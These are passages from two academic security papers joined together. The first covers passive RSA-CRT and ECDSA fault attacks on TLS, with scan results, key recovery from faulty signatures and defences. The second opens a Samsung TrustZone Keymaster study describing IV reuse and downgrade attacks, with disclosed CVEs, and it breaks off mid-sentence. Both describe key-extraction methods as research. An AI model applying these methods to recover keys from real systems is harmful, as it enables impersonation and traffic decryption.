Rowhammer-based fault attack [54].

Finally, OpenSSL’s signature check is unique among the
libraries we examined. Rather than simply clear the signature
or return an error if the signature fails, OpenSSL recomputes
the signature without using the CRT optimization (i.e. com-
putes md mod N directly) when its first attempt fails. This
“second try” signature is not checked before it is returned to
the user. As discussed in Section 2.2, there are algorithmic
fault attacks that don’t rely on CRT computations, but they
seem more challenging to exploit.

4.3 RSA-PSS

Of the non-validating signatures in our sample, 78 were signed
with RSA using PSS padding. Of these, 25 terminated with the
TLS alert decrypt_error, 13 with decode error, 2 with
close_notify, and the remaining 38 did not raise an alert. Of
these 38, half of them successfully completed the handshake.

RSA-PSS padding contains a fixed flag byte 0xBC that
should be present in the recovered padded message m =
se mod N derived from a signature s. For each of the faulty
PSS signatures, we checked for the presence of the flag byte
and found that it was present in 30 connections.

For connections missing the flag byte this suggests that the
faults were either due to errors in the modular exponentiation
in the signing process, or to bit errors in the signature value
during transmission. For the connections with the flag byte

this suggests that the error occurred in the computation of the
hash.

To investigate the possibility of bit errors during transmis-
sion, we brute forced all possible single-byte errors in the
signature and did not find any that resulted in validating sig-
natures. To check for errors in the hash generation we brute
forced single-byte errors in the hash inputs and also failed to
find any that resulted in matching hashes.

RSA-PSS has been proven secure against fault attacks if
the salt is randomized and unpredictable [18]. However, if the
salt is predictable and the padded message hash to be signed
is known to the attacker, then PSS would become vulnerable
to the same CRT-based fault attack as any other deterministic
RSA padding.

4.3.1 Is RSA-PSS randomized in practice?

We were intrigued by the note in PKCS#1v2.1, discussed in
Section 2.1, suggesting that randomization is not critical to
the security of PSS and therefore that implementations may
use fixed values or sequence numbers as a salt value.

We examined the salt values used to generate the valid
PSS signatures in our dataset in order to verify whether the
signatures were in fact randomized. This is straightforward:
given a signature s, we recover m= se mod N, verify the 0xBC
flag byte on m, then parse m into maskedDB and H, and recover
the padded salt by xoring maskedDB with H.

We found repeated salt values in 148 out of 330 million
PSS signatures, suggesting that repeats exist, but seem to be
rare enough to make a practical transient fault attack unlikely
outside of more specific implementation choices.

4.3.2 Key reuse between PKCS#1v1.5 and RSA-PSS

It was quite common in our dataset to find both PKCS#1v1.5
and RSA-PSS signatures from the same public key. In the
CU Boulder dataset, of 498,575 distinct RSA public keys
observed, 33,320 of them had generated both PKCS#1v1.5
and RSA-PSS signatures. These keys made up 37% of the
1.6 billion total TLS 1.2 connections seen on this network. In
the UCSD dataset we observed 516,019 distinct RSA keys,
of which 21,916 had generated both PKCS#v1.5 and RSA-
PSS signatures, accounting for approximately 34% of the
1.7 billion TLS 1.2 connections.

Kakvi [36] has formally proven that this type of key reuse is
secure, with a focus on the context of TLS 1.3 supporting both.
However, this proof naturally does not include fault attacks,
since they fall outside of the normal UF-CMA security model
for digital signatures; from that perspective, supporting multi-
ple padding schemes creates a larger attack surface for a given
private key. TLS has historically used the same long-term pri-
vate keys for different protocol versions, both encryption and
signatures, and different cipher and algorithm options, which
has enabled a variety of downgrade attacks [1, 3, 7].
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4.4 ECDSA statistics
In the UCSD data, we observed 121 million ECDSA signa-
tures, and at CU Boulder we observed 77 million. At UCSD
all but 260 of these signatures validated, while CU Boulder
identified 207 signatures that failed to verify.

We investigated whether the circumstances necessary for a
successful passive fault ECDSA attack might arise in the data
we observed. Recall from Section 2.4 that a two-signature
ECDSA fault attack requires a correct and a faulty signature
using the same message hash h and signature nonce k. For
an implementation using deterministic ECDSA nonce gener-
ation, we would expect to see the same nonce k used every
time a message hash h is signed.

However, in the TLS context, it seems less plausible that a
passive network attacker might see multiple signatures over
the same message hash h, since the server signature includes
the client and server randoms, which are supposed to be
freshly randomly generated for each handshake. Thus in prin-
ciple, TLS ECDSA signatures should not be vulnerable to
fault attacks.

Connections w/ repeated UCSD CU Boulder

Server Random 58K 136
Client Random 77K 25K
Server Parameters 191M 176M
Client Random and Server Random 29K 0
Client Random and Server Parameters 919 839
Server Random and Server Parameters 1.1K 0
Client Random, Server Random, 904 0

and Server Parameters

Total Connections Seen 1.3B 1.4B

Table 6: Repeated nonces and key exchanges in TLS 1.2.
We find that non-unique ECDHE parameters remain common
among servers, and a small fraction of clients and servers use
non-unique randoms.

In practice, however, we observed a small but non-
negligible number of handshakes that repeated all of these
values. Table 6 summarizes the repeated values across our
observed connections.

Repeating client and server nonces In the UCSD data we
observed 6,566 distinct client random values that appeared
in more than one connection. 77,354 connections used one
of these non-unique values. 1,936 distinct server random val-
ues appeared in more than one connection; these appeared
in 58,099 connections. Of these connections, 1,210 of the
non-unique client randoms and 308 of the non-unique server
randoms appeared in connections that included ECDSA sig-
natures. Furthermore, 74 of these connections with ECDSA
signatures repeated not only the client and server random, but
also the Diffie-Hellman key exchange parameters; there were
37 distinct duplicated sets of values.

Repeating server key exchange parameters Although
(elliptic curve) Diffie-Hellman is often described as providing
“perfect forward secrecy” because in principle both the client
and server generate fresh key exchanges for every connec-
tion, this is not actually the case for many implemenations. In
particular, many servers have been observed to reuse Diffie-
Hellman key exchange parameters for days to months [51].

In OpenSSL, this behavior was historically governed by the
SSL_OP_SINGLE_DH_USE flag; as of OpenSSL version 1.0.2f
released in 2016, this option is always on.

Our data shows that non-unique server ECDH parameters
are very common; in the UCSD data almost 15% of observed
connections used a non-unique set of server key exchange
parameters.

4.4.1 Compromised ECDSA keys from insecure RNGs

Although it is not the main focus of our paper, we also checked
our collected ECDSA signatures for repeated signature nonces
that would allow us to compute a server’s private signing key.

In our data we found 637 connections with 183 different
repeated signature r values, allowing us to compute two dif-
ferent ECDSA private keys. All the connections were to the
same IP address, which we identified as a Xerox AltaLink
C8155 printer located on the UCSD campus. This server was
repeating its server random value, its chosen Diffie-Hellman
parameters, and its choice of k on new connections with the
same client. In our data the repeated values were close in
time with a maximum interval of five minutes in between con-
nections. The values did not appear to be hard-coded, since
they differed across different connections over time. In total,
we saw 7,043 connections to this server all using one of the
two compromised keys. We hypothesize that a faulty random
number generator led to this vulnerability.

5 Active scanning

To supplement the passive network data, we also analyzed
historical scan data and performed more recent active scans
of TLS.

In total, we derived 127 distinct private keys from 128
hosts with faulty signatures across all our active scans. These
include 54 keys revealed from historical scans between 2015
and 2020, and 73 keys computed from three weeks of daily
active scans in 2022.

5.1 Collecting TLS signatures from old scans
The historical scan data we collected is a patchwork of full
IPv4 scans carried out using ZMap and ZGrab, beginning in
2015. The majority of the data was originally downloaded
from scans.io. This regular data collection was taken over
by Censys [19] who now carries out regular internet-wide
scans, but they do not collect the TLS handshake data we
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Figure 4: RSA signatures and errors over time. We exam-
ined historical full IPv4 TLS scans on port 443 that were
collected using ZMap/ZGrab between 2015 and 2020 for dif-
ferent research projects. Although some of the scans were
carried out using different methodology and may have re-
quested different cipher suites, we see that the number of
successful connections, the number of connections that in-
cluded an RSA signature, and the number of RSA signatures
that did not validate have all risen over time.

need for our analysis. Since 2020, their dataset no longer
includes TLS signatures, and it appears that the Censys Uni-
versal Internet Dataset generated from scan data prior to the
deprecation of handshake signatures in 2020 only includes
successful handshakes, and thus omits the errors we are look-
ing for. We analyzed 2019 ZGrab scan data provided as a
paper artifact by Wan et al. [52], and a 2020 TLS scan pro-
vided by Izhikevich [31].

Because the historical scans we analyze were collected for
a variety of previous research projects, the scan methodology
and information collected has changed over the years, and
there are gaps in the data.

Figure 4 shows the number of successful TLS handshakes
for these scans over time, the number of handshakes contain-
ing RSA signatures, and the number of RSA signatures that
did not validate in each scan.

Most significantly for our analysis, ZGrab’s TLS module
does not record the signature hash. For scan data through 2015,
the records contain all of the handshake values necessary to
reconstruct the hash (client and server randoms and server
key exchange). However, after 2015 ZGrab stopped recording
the client random from the exchange and does not save the
signature hash.

For later scans, we were able to use the approach of Coron
et al [17] to identify vulnerable signatures for some choices of
hash function and key length. In particular, for 1024-bit RSA,
we were only able to recover keys from faulty signatures
using SHA-1, because longer hash lengths were prohibitively
slow (SHA256) or infeasible (longer hash lengths). For 2048-
bit keys, we could recover keys from faulty signatures using
SHA1, the 36-byte combination of MD5 and SHA1 in TLS
1.0 and 1.1, and SHA256. For larger keys, key recovery was

efficient for any hash function.

5.2 Current scan data
In order to get a clearer picture of the current internet from a
scanning perspective, we also carried out three weeks of daily
TLS scans focused on finding keys from invalid signatures.
The scans were carried out from a dedicated scanning machine
located at UCSD during May and June 2022.

Each daily scan was carried out in two steps. We first
scanned the entire IPv4 address space on port 443 using
ZMap [21] to identify hosts that completed a TCP handshake.
These scans gave 53.0–53.4 million IP addresses responding
on port 443. We then made rate-limited TLS handshakes to
each responsive IP address with a version of ZGrab2 mod-
ified to save the signature hash value. We performed scans
with two lists of cipher suites: first using ZGrab2’s deafult list
(some of which do not involve a signature for key exchange),
and second using a list that only included DHE and ECDHE
cipher suites that required signatures from the server. Our
scans using the default cipher suite list resulted in around
30 million RSA signatures (out of 35 million TLS connec-
tions), of which 850 signatures were invalid on average per
scan. Our second list resulted in 32.7 million RSA signatures
(from 32.8 million connections), with around 1,800 invalid
signatures per scan. The scans cover TLS 1.0–1.2, but do not
include TLS 1.3 handshakes, which ZGrab2 does not support.
We note that TLS 1.3 uses RSA-PSS, which has been proven
secure against fault attacks for properly-randomized salts [18],
so we would not expect to find faulty signatures that allow
key recovery in TLS 1.3 (see Section 4.3).

5.3 Historical and current scan results
From our scan data, there appear to be multiple classes of
errors. Some hosts reappear with compromised signatures in
scans over the course of months to years. This would suggest
that the errors they experience are persistent: disk corruption
or memory corruption affecting the private key. For some of
these hosts that are still online, we were unable to complete a
TLS handshake with them due to persistent handshake errors.

In other cases, the signature errors appear to be transient:
56 of the keys we find appear only once across all our scans.

5.3.1 Affected devices

The landscape of vulnerable keys has changed since 2015,
but it remains the case that most of the vulnerable keys are
associated with network devices rather than general-purpose
trusted servers. Our 2015 scan data reflects a very similar
picture to Weimer’s report: we recovered keys associated with
Hillstone Networks, Viprinet, QNO, and Fortinet. Some of
these devices are quite long lived: we see a QNO device in
scans as late as 2019. We also see certificates from devices
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Figure 5: Persistence of factored keys in 2015 scans. In our
examination of historical scan data from 2015, we clustered
factored keys by the device or hostname identified by the cer-
tificate. We see some hosts with persistent errors in every scan.
For hosts whose certificates identified Hillstone devices, the
certificates all had the same common name, but the factored
keys seen in each scan were generally distinct keys served
from distinct hosts, suggesting a more sporadic error pattern
across a larger number of devices.

that weren’t mentioned by Weimer, including SonicWALL.
None of these certificates were CA-signed or browser-trusted.

Figure 5 shows the distribution of keys associated with
different types of devices or other host identifiers in our his-
torical 2015 scan data over time. The 2015 scan data also
includes semi-persistent errors on hosts with certificates un-
der ets.org, which no longer appear after October 6, 2015.
The 2019 scan data reveals private keys for a handful of sites
with browser-trusted certificates, including a subdomain of
doi.gov which is no longer accessible to the public.

In our 2022 scan data, nearly all of the compromised keys
that we were able to identify were associated with a variety
of Cisco VPN products. However, in contrast to the situation
in 2015, twenty-nine of these domains served browser-trusted
certificates, including nine wildcard certificates. Of these 29
certificates, 20 were still valid, 6 had expired, and 3 had been
revoked. Many of the non-wildcard, browser-trusted certifi-
cates identified a subdomain for a VPN. Many of these hosts
had persistent signature errors and appeared in most or all of
our daily scans. Figure 6 shows the distribution of factored
keys that appeared in our daily scans from 2022.

In addition to these device-associated keys, we also ob-
served sporadic errors from a small handful of hosts that
appeared to be normal web servers running on Alibaba Cloud
that were running Microsoft IIS 7.0 on Windows Server 2008.
The RSA private key fingerprinting tool of Janovsky et al. [33]
did not identify their private keys as having been generated
by a family of implementations that includes Microsoft Cryp-
toAPI or Microsoft CNG. We performed follow up scans
focused on Alibaba Cloud prefixes. From 26 scans of Alibaba
Cloud, we discovered 8 keys from faulty signatures.

From discussions with Alibaba and Microsoft, it appears
that the Microsoft TLS implementation separates the protocol

2022-05-09
2022-05-16
2022-05-23
2022-05-30
2022-06-06

Distinct Factored KeysScan Date

Cisco Hillstone Zyxel Citrix Alibaba Other

Figure 6: Persistence of factored keys in 2022 scans. For
many of the hosts producing signature errors in our scans, the
errors appear to be persistent across nearly every scan. Other
hosts seem to produce only sporadic errors. The red line on
the y axis marks scans that requested only (EC)DHE cipher
suites, which collects more faulty signatures.

layer from the implementations of cryptographic primitives,
and provides a cryptographic API for smart cards, TPMs,
or other implementations. The software KeyStorageProvider
(KSP) that ships with Windows performs signature validation,
but the TLS implementation may not validate in some cases.
Thus a server that offloads cryptographic operations to an
HSM or hardware accelerator that does not perform validation
may potentially be vulnerable to failing hardware.

6 Defenses

Our results demonstrate yet again that RSA PKCS#1v1.5 and
other deterministic digital signature schemes should be con-
sidered fragile, and that any implementation of deterministic
RSA signature padding or ECDSA nonce generation should
include an extra signature validation step to protect against
transient faults.

Validate signatures before sending Any implementation
using RSA-CRT or deterministic ECDSA nonce generation
to compute signatures must validate all signatures before
sending them across the wire. As discussed in Section 4.2,
nearly every open-source RSA implementation we examined
already does this.

Randomization Signature randomization appears to pro-
vide a real benefit against fault attacks. With ECDSA, how-
ever, signature randomization is a double-edged sword: any
randomness failure for randomly generated signature nonces
results in a compromise of the long-term key. This tension has
arisen in standards discussions; see for example a discussion
that fortuitously arose as we were writing this paper [22]. A
middle ground that should provide protection against both
random number generator vulnerabilities and signature faults
is to generate an ECDSA signature nonce from the private
key, message, and a random input [44].
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Avoiding CRT computations The RSA vulnerability we
exploit is entirely due to the use of CRT computations. If an
implementation computes an RSA signature by carrying out a
modular exponentiation with the full secret exponent d, then
a fault will not allow an attacker to recover the factorization
of the key in the same way. This countermeasure is already
in use by OpenSSL: if the RSA signature validation fails, the
signature is recomputed using only the private key d.

As noted in Section 2.2, fault attacks against non-RSA-
CRT exponentiation with d can still be vulnerable to fault
attacks, although these attacks seem less plausible to exploit
via spontaneous hardware errors.

Non-defenses Blinding, either of signature or exponent, is
not a defense against these types of fault attacks. The only
thing the RSA attacks require is for any type of fault to occur
in one of the signature components computed for the RSA-
CRT reconstruction. A fault could still occur if the signature
is computed blinded.

7 Discussion

7.1 The persistence of PKCS#1v1.5 padding

PKCS#1v1.5 padding for both RSA encryption and signa-
tures has had a surprisingly long life despite the repeated
demonstrations of catastrophic attacks breaking the security
of both. In both cases, it appears that this has been due to
backwards compatibility concerns. TLS 1.3 has removed both
RSA encryption and PKCS#1v1.5 signature padding, replac-
ing them with (EC)DH key exchange and RSA-PSS, ECDSA,
or EdDSA, respectively. Both of these changes appear to have
caused compatibility issues that are slowing the adoption of
TLS 1.3 [6, 47]. Both PKCS#1v1.5 and PSS padding are ap-
proved in the most recent FIPS 186-5 draft Digital Signature
Standard (DSS) [41].

7.2 Side Channel and Fault Threat Models

Most of the academic work on fault attacks in the context
of RSA has been carried out under an active attack model,
and published in the side channel literature. Protecting im-
plementations against every variant of side channel attacks
is currently impossible, and OpenSSL has publicly declared
that “Certain threats are currently considered outside of the
scope of the OpenSSL threat model. Accordingly, we do not
consider OpenSSL secure against the following classes of
attacks: same physical system side channel; CPU/hardware
flaws; physical fault injection; physical observation side chan-
nels (e.g. power consumption, EM emissions, etc).”

While OpenSSL has implemented defenses against RSA
signature faults, we hope that our observations illustrate that
faults in computations do not require a physical attacker, fault

injection, or a co-located process carrying out a Rowhammer
attack: they may require only a failing hardware device.

7.3 Certificate risks
The patterns of compromise we observe illustrate the risk that
faulty hardware can pose to long-term secret keys. In particu-
lar, if an organization uses a wildcard certificate with a VPN
implementation that leaks that key, an attacker could reuse
the private key to impersonate or decrypt traffic to other hosts
protected by that certificate. This illustrates the importance of
domain separation.

7.4 Re-examining the past
While our passive attack demonstrates lessons that are impor-
tant for the future, it is equally relevant to re-examine this
attack from a historical context. As discussed in [53] and in
Section 4.2, prior to 2015 nearly all popular TLS libraries
were vulnerable to RSA key recovery via signature faults.
Given this historical implementation environment, it is nat-
ural to wonder if this attack could have been exploited in
secret.

The passive nature of an RSA-CRT fault attack makes it an
especially appealing avenue for a nation-state who is able to
perform large-scale network surveillance and has an incentive
to decrypt TLS traffic at scale: they can avoid sending large
numbers of TLS connections to vulnerable sites, which would
scale poorly and leave evidence in observant websites’ logs.
Instead, the adversary only needs to passively observe large
amounts of network traffic, a capability that many nation-
states are known to have, and wait for a transient error. For
instance, the United States’ NSA is known to have deployed
global network taps to collect and analyze large amounts of
Internet traffic prior to 2015 [27].

The state of common TLS cipher suites prior to 2015 paints
an even bleaker picture. Until a few years ago, non-forward
secure RSA key exchanges dominated TLS connections: ac-
cording to a leaked classified NSA document on SSL trends
from the Communications Security Establishment Canada,
over 95% of TLS connections used an RSA key exchange in
2011 [50]. Since TLS versions prior to 1.3 reuse the RSA keys
in a server’s certificate both for digital signatures (if client
and server negotiate a Diffie-Hellman cipher suite) or for en-
cryption (if client and server negotiate RSA key exchange), an
attacker could use signature data to passively recover the RSA
private key, and then use this private key to decrypt observed
RSA-encrypted data from other past or future connections.

7.5 Prospects for the future
The rise of TLS 1.3 spells a slow end to access to the trove
of metadata exposed to passive network observers by the
handshakes for TLS versions 1.2 and below. In addition, TLS
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1.3’s removal of a number of insecure cipher options will
eventually lead to the end of families of cryptographic attacks
that have plagued TLS security for decades.

The adoption of TLS 1.3 does not, however, entirely remove
the possibility of the attacks we discuss. TLS certificates
are typically shared across multiple versions of SSL/TLS
supported by a server, and as long as support for TLS 1.2
and below exists, an attacker could potentially carry out a
TLS 1.3 impersonation or man-in-the-middle attack against
an unprotected implementation that inadvertently exposes its
private key through a faulty TLS 1.2 signature.

However, on the bright side, even for these earlier TLS
versions, the security of the cipher suites offered by servers
and negotiated by clients has improved dramatically over the
past decade, thanks to increased attention, and all signs point
to the continuing ubiquity of TLS and encrypted protocols
and improvements in cryptographic security for all [48].
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Abstract
ARM-based Android smartphones rely on the TrustZone

hardware support for a Trusted Execution Environment (TEE)
to implement security-sensitive functions. The TEE runs a
separate, isolated, TrustZone Operating System (TZOS), in
parallel to Android. The implementation of the cryptographic
functions within the TZOS is left to the device vendors, who
create proprietary undocumented designs.

In this work, we expose the cryptographic design and imple-
mentation of Android’s Hardware-Backed Keystore in Sam-
sung’s Galaxy S8, S9, S10, S20, and S21 flagship devices.
We reversed-engineered and provide a detailed description of
the cryptographic design and code structure, and we unveil
severe design flaws. We present an IV reuse attack on AES-
GCM that allows an attacker to extract hardware-protected
key material, and a downgrade attack that makes even the
latest Samsung devices vulnerable to the IV reuse attack. We
demonstrate working key extraction attacks on the latest de-
vices. We also show the implications of our attacks on two
higher-level cryptographic protocols between the TrustZone
and a remote server: we demonstrate a working FIDO2 We-
bAuthn login bypass and a compromise of Google’s Secure
Key Import.

We discuss multiple flaws in the design flow of TrustZone
based protocols. Although our specific attacks only apply to
the ≈100 million devices made by Samsung, it raises the
much more general requirement for open and proven stan-
dards for critical cryptographic and security designs.

1 Introduction

Beyond their usage in many and various daily activities, smart-
phones are increasingly used for many security-critical tasks,
such as the protection of sensitive data (messages, images,
files), cryptographic key management [24], FIDO2 web au-
thentication [65], Digital Rights Management [64] (DRM),
mobile payment services [53] (e.g., Samsung Pay) and enter-
prise identity management [53].

Simultaneously, smartphones are becoming more and more
complex and present an increasingly larger attack surface. The
result is that they have become a major target for malware and
malicious attackers. There have been many public exploits
that allow an attacker to escalate privileges in the Android OS,
gaining execution as root or even as the OS kernel [9, 14, 20,
21,39]. Ideally, such attacks should not be able to compromise
the devices’ security-critical tasks.

Trusted Execution Environments (TEEs) are largely used
in modern mobile devices to provide an isolated environment
for execution of Trusted Applications (TAs) that can securely
perform security-critical tasks. They have a relatively small
codebase and limited APIs.

In contrast, the Rich Execution Environments (REEs), such
as Android OS, cannot be fully audited and trusted (due to
their complexity). An isolated TEE can be used alongside the
REE to implement security-sensitive functions. This makes
it harder for an attacker to compromise these functions, as
the attack surface is significantly reduced and is limited to
communication with the TEE.

In other words, the goal of the TEE is to withstand attacks
from a fully compromised REE, including by privileged ad-
versaries with kernel or root capabilities.

ARM is the most widely used processor in the mobile
and embedded markets [46], and it provides TEE hardware
support with ARM TrustZone [3, 8]. TrustZone separates the
device into two execution environments:

1. A non-secure REE where the “Normal World” operating
system runs.

2. A secure TEE where the “Secure World” operating sys-
tem runs.

The REE and TEE use separate resources (e.g., memory, pe-
ripherals), and the hardware enforces the protection of Secure
World.

In most mobile devices, the Android OS runs the non-
secure Normal World. As for the Secure World, there are
more choices. Even among Samsung devices, there are at
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least three different TrustZone Operating Systems (TZOS) in
use (see Section 2.2).

The Android Keystore [28] provides hardware-backed cryp-
tographic key management services through a Hardware Ab-
straction Layer (HAL) that vendors such as Samsung imple-
ment. The Keystore exposes an API to Android applications,
including cryptographic key generation, secure key storage,
and key usage (e.g., encryption or signing actions). Samsung
implements the HAL through a Trusted Application (TA)
called the Keymaster TA, which runs in the TrustZone.1 The
Keymaster TA performs the cryptographic operations in the
Secure World using hardware peripherals, including a crypto-
graphic engine.

The Keymaster TA’s secure key storage uses blobs: these
are “wrapped” (encrypted) keys that are stored on the REE’s
file system. The “wrapping”, “unwrapping”, and usage of
the keys are done inside the Keymaster TA using a device-
unique hardware AES key. Only the Keymaster TA should
have access to the secret key material; the Normal World
should only see opaque key blobs.

Although it is crucial to rigorously verify and test such
cryptographic designs, real-world TrustZone implementations
received relatively little attention in the literature. We believe
that this is mainly due to the fact that most device vendors
do not provide detailed documentation of their TZOS and
proprietary TAs and share little-to-no information regarding
how the sensitive data is protected. To advance and motivate
this research area, we decided to use the leading Android
vendor Samsung as a test case. We reversed-engineered the
full cryptographic design and API of several generations of
Samsung’s Keymaster TA, and asked the following questions:

Does the hardware-based protection of cryptographic keys
remain secure even when the Normal World is compromised?
How does the cryptographic design of this protection affect
the security of various protocols that rely on its security?

1.1 Our Contribution

In this work, we focus on the Keymaster TA used by Sam-
sung’s flagship devices, including the Samsung Galaxy S8,
S9, S10, S20, and S21. For the first time, we expose its crypto-
graphic design, and unveil severe design flaws that can allow
an attacker to extract hardware-protected key material. We
present an IV reuse attack on AES-GCM that allows the at-
tackers to extract keys from hardware-protected key blobs;
and a downgrade attack that makes even the latest Samsung
flagship devices vulnerable to our IV reuse attack. As sum-
marised in Table 1, our attacks affect over 100 million de-
vices [66].

We also show the implications of these vulnerabilities
on bypassing key usage restrictions and on the security of
two higher-level cryptographic protocols between the Trust-

1For brevity, we refer to TrustZone-based TEEs simply as “TrustZone”.

Zone and a remote server. We demonstrate working Proof-of-
Concept attacks on Galaxy S9, S10, and the latest S21 model.
To summarise our contributions:

1. We expose the proprietary Keymaster TA implementa-
tion in Samsung devices, focusing on its key derivation
and blob encryption implementation.

2. We show that the hardware protection in Samsung
Galaxy S9 devices is vulnerable to an IV reuse attack
on AES-GCM, allowing the extraction of protected key
material.

3. We show a downgrade attack on Samsung Galaxy S10,
S20, and S21 devices, making them vulnerable to our IV
reuse attack.

4. We evaluate the impact of our attacks and describe how
to exploit them to misuse the Keystore key attestation
to bypass FIDO2 WebAuthn login and compromise
Google’s Secure Key Import.

5. We discuss the root causes leading to each of the vulner-
abilities we identified, focusing on possible countermea-
sures and problems in the closed cryptographic design
methodology.

In order to implement our attacks, we developed an open-
source Keymaster client that we will make available on [58].
Our client interacts with the Keymaster TA without passing
through the Keymaster HAL API, which allows us full control
of the input passed to the Trusted Application.

1.2 Responsible Disclosure
We reported our IV reuse attack on S9 to Samsung Mobile
Security in May 2021. In August 2021 Samsung assigned
CVE-2021-25444 with High severity to the issue and released
a patch that prevents malicious IV reuse by removing the
option to add a custom IV from the API. According to Sam-
sung [57], the list of patched devices includes: S9, J3 Top, J7
Top, J7 Duo, TabS4, Tab-A-S-Lite, A6 Plus, A9S.

We reported the downgrade attack on S10, S20 and S21 in
July 2021. In October 2021 Samsung assigned CVE-2021-
25490 with High severity to the downgrade attack and patched
models that were sold with Android P OS or later, including
S10, S20, and S21. The patch completely removes the legacy
key blob implementation.

1.3 Structure of the Paper
Section 2 provides some background on TrustZone. In Sec-
tion 3 we dissect the Keymaster TA in Samsung Galaxy S8,
S9, S10, S20, and S21 devices. In Section 4 we present an
IV reuse attack against hardware-protected keys as well as
a downgrade attack. In Section 5 we show how our attacks
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Table 1: Susceptibility of Samsung Galaxy devices to IV reuse
and downgrade attack - 3 means vulnerable and 7 means not.

Device IV reuse attack Downgrade attack

S8 7 7

S9 3 3

S10 7 3

S20/S21 7 3

break the composability of higher-level cryptographic proto-
cols, focusing on Google’s Secure Key Import and FIDO2
WebAuthn. In Section 6 we discuss the root causes of the
attacks and gaps in the higher-level protocols’ design. In Sec-
tion 7 we survey related work in TrustZone research, and we
conclude our work in Section 8. Multiple appendices provide
technical details.

2 Background

2.1 AES GCM

The Advanced Encryption Standard (AES) is the most widely
used symmetric block cipher. Galois Counter Mode (GCM)
is a mode of operation for block ciphers that provides Authen-
ticated Encryption. AES-GCM is a stream cipher that uses
AES-CTR (Counter Mode) and the Galois Message Authenti-
cation Code (GMAC) internally.

Like every stream cipher, AES-GCM is vulnerable to Ini-
tialization Vector (IV) reuse attacks. When an IV is reused
while encrypting with the same key, the resulting keystream
is identical. In that case, knowledge of one plaintext immedi-
ately reveals the other. Furthermore, in AES-GCM, Joux [38]
showed how IV reuse could be exploited to break authentica-
tion and create new valid messages.

2.2 ARM TrustZone

The ARM TrustZone technology [7] adds an additional virtual
processor mode called “Secure World” that complements the
“Normal World”. The two modes are separated and can com-
municate using the “Secure Monitor” (running in the high-
est EL3 execution level) or by memory mapping of “World
Shared Memory”. The separation allows to implement a TEE,
since a compromised Normal World will not be able to access
the memory of the Secure World. Fig. 1 shows the compo-
nents in each exception level in the TrustZone architecture.
See Appendix A for a detailed overview of ARM TrustZone
and ARM exception levels.

As the implementation of the TZOS is left to vendors, there
are multiple implementations by various vendors, including:

• Qualcomm Secure Execution Environment (QSEE) by
Qualcomm: used in Google Pixel devices and in Snap-
dragon models of Samsung Galaxy devices.

• Kinibi by Trustonic: used in older Exynos models of
Samsung Galaxy devices, prior to S10.

• TrustedCore (TC) by Huawei.

• TEEGRIS by Samsung (used in newer Exynos models
of Samsung Galaxy devices).

2.3 Trusted Applications
A Trusted Application (TA) is a program that runs in the TEE
and exposes security services to Android client applications.
The application can open a session with the TA and invoke
commands within the session. After receiving a command, a
TA parses the commands input, performs required processing
and sends a response back to the client. See the extended
version of this paper [59] for more details on the TEE client
API. Control is transferred to the TA via the dedicated SMC
(Secure Monitor Call) instruction, and the TA and Normal
World application usually exchange arguments and output
using a shared memory buffer called World Shared Memory.
As performing SMCs requires EL1 privileges, a device driver
in the Android kernel handles the communication with the
TA and exposes an API for Normal World applications.

2.4 Android Hardware Backed Keystore
The Android Keystore [24] allows Normal World applica-
tions to perform cryptographic operations while protecting
the cryptographic keys from extraction or unauthorized use.
On devices with TrustZone technology, Keystore utilizes the
TEE to perform cryptographic operations. This Hardware-
Backed Keystore implementation is called the Keymaster TA.

The Keystore’s main functions are: key generation and im-
port, asymmetric encryption/decryption/signing/verification,
symmetric encryption/decryption and generation/verification
of symmetric MACs.

Keys can be generated and used inside the TrustZone by
the Keymaster TA, and are thus protected from any Normal
World attacker. However, the Keymaster TA relies on the
Normal World application to store the keys [28]. To protect
the key material, the keys are encrypted or “wrapped” with
a hardware-derived key inside the TrustZone. The encrypted
key “blobs” are then passed to the Normal World to be stored.

Fig. 2 shows a simplified overview of an Android appli-
cation using the Keymaster TA. The general flow runs as
follows:
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Figure 1: The TrustZone software and hardware isolation architecture 2

Android Keymaster TA in
TrustZone

Request attestation for B

Generate key 
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Generate attestation cert

key = unwrap(B) 
result = operation(key) 

result

Request operation for B 
(e.g., encrypt/sign)

B

cert

Request key generation

Figure 2: A usage example of an Android application using
a Hardware-Backed Keystore (i.e., the Keymaster TA) for
cryptographic key management: key generation, attestation,
and encryption/signature.2

1. The Android application requests a new key to be gen-
erated. The Keymaster TA generates a new key, and
encrypts it using a hardware-derived key. The result-
ing encrypted key blob B is passed back to the Android
application.

2. The Android application saves the blob B in the Normal
World’s file system.

3. Some protocols such as WebAuthn [65] require that the
Android application must prove that a specific key was
generated securely by the Keymaster TA. In these cases,
the application can pass the encrypted blob B to the Key-
master TA and ask it to generate an attestation certificate.

For details on the attestation process see Section 2.5.

4. The application can ask the Keymaster TA to perform
a cryptographic operation on its behalf. For example,
to sign a message, the application passes the encrypted
blob B and the message to be signed to the Keymaster
TA. The Keymaster TA decrypts the blob to recover the
signing key. It then uses the key to sign the message and
return the resulting signature to the application in the
Normal World.

The Keystore protects keys from extraction using the fol-
lowing measures:

1. Key material is not present in the application memory,
hence compromising the application will not lead to key
material extraction.

2. The Keystore can provide access control that restricts the
usage of keys in various ways, such as restricting a key’s
purpose (e.g., encryption only), setting an expiration
date, rate-limiting, or requiring user authentication (e.g.,
passing biometric authentication/unlocking the screen).

3. Hardware binding: Supported devices can bind keys to
the secure hardware (i.e., the TEE), so they cannot be
used outside of the secure hardware on that device.

In order to support multiple TZOS implementations, the
Android Keystore uses a HAL, as we shall describe in Sec-
tion 3.2. Every TZOS implements the HAL for Android ser-
vices that require hardware support, usually by having a TA
that performs the needed operations. This is the case for Sam-
sung’s Keymaster TA, which is used to implement Android
Hardware-Backed Keystore and is the main focus of our re-
search.

2Designed using resources from Flaticon.com
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2.5 Android Key Attestation

Keystore Key Attestation [33, 67] allows remote parties to
verify that a key was generated within the secure hardware by
having the Keymaster TA generate a certificate chain whose
root certificate is Google (or Samsung, for applications such
as KNOX attestation). This allows the remote party to trust
public-keys generated within the TrustZone without trusting
the Normal World, despite the fact that all the communications
with the Keymaster TA go through the Normal World. As we
show in Section 5, Secure Key Import and FIDO2 WebAuthn
use key attestation (using Google’s root certificate) exactly
for this purpose.

2.6 The Attack Model

In this paper, we assume that an attacker can fully compro-
mise the Normal World, e.g., an attacker with root or even
kernel privileges. Moreover, we assume that the attacker is
able to compromise the Normal World without setting the
bootloader fuses that are attested by the Keymaster (e.g., boot-
loader unlocked, Samsung’s warranty bit). Such attacks were
shown by [21,44]. The attacker aims to compromise data that
is secured by the Trusted World, such as Keystore hardware-
